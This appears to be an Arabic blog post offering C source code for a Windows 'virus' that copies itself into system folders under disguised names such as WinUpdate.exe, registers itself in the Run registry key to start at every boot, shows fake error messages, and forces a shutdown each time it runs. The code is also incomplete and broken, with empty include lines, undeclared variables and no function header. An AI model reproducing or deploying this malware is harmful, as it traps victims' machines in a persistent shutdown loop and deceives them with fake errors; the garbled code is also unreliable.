كود فيروس وظيفته الانتشاار في الجهااز وو يشتغل كل ما يفتح الجهاز وو عمل ريستارت للجهاز كل مافتح


كود فيروس وظيفته الانتشاار في الجهااز وو يشتغل كل ما يفتح الجهاز وو عمل ريستارت للجهاز كل مافتح

#include  
#include  
#include  


char sys1[256]; 
char sys2[256]; 
char win1[256]; 
GetModuleFileName(hMod, path, sizeof(path)); 
GetSystemDirectory(sys1, sizeof(sys1)); 
GetSystemDirectory(sys2, sizeof(sys2)); 
GetWindowsDirectory(win1, sizeof(win1)); 
strcat(sys1, "\\Sleep.exe"); 
strcat(sys2, "\\Doom32.com"); 
strcat(win1, "\\WinUpdate.exe"); 
CopyFile(path, sys1, false); 
CopyFile(path, sys2, false); 
CopyFile(path, win1, false); 

MessageBox (0, "Not been foun Ram ", "Error !", MB_ICONERROR | MB_OK); 

HKEY hKey; 
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\ \Run ", 0, KEY_SET_VALUE, &hKey); 
RegSetValueEx(hKey, "SLEEP", 0, REG_SZ, (const unsigned char*) sys1, sizeof(sys1)); 
RegSetValueEx(hKey, "DOOM32", 0, REG_SZ, (const unsigned char*) sys2, sizeof(sys2)); 
RegSetValueEx(hKey, "WinUpdate", 0, REG_SZ, (const unsigned char*) win1, sizeof(win1)); 
RegCloseKey(hKey); 



system("shutdown -s -f "); 
MessageBox(NULL,"Not enough memory to load this file.","Error !", MB_ICONERROR | MB_OK); 
}

ليست هناك تعليقات:

إرسال تعليق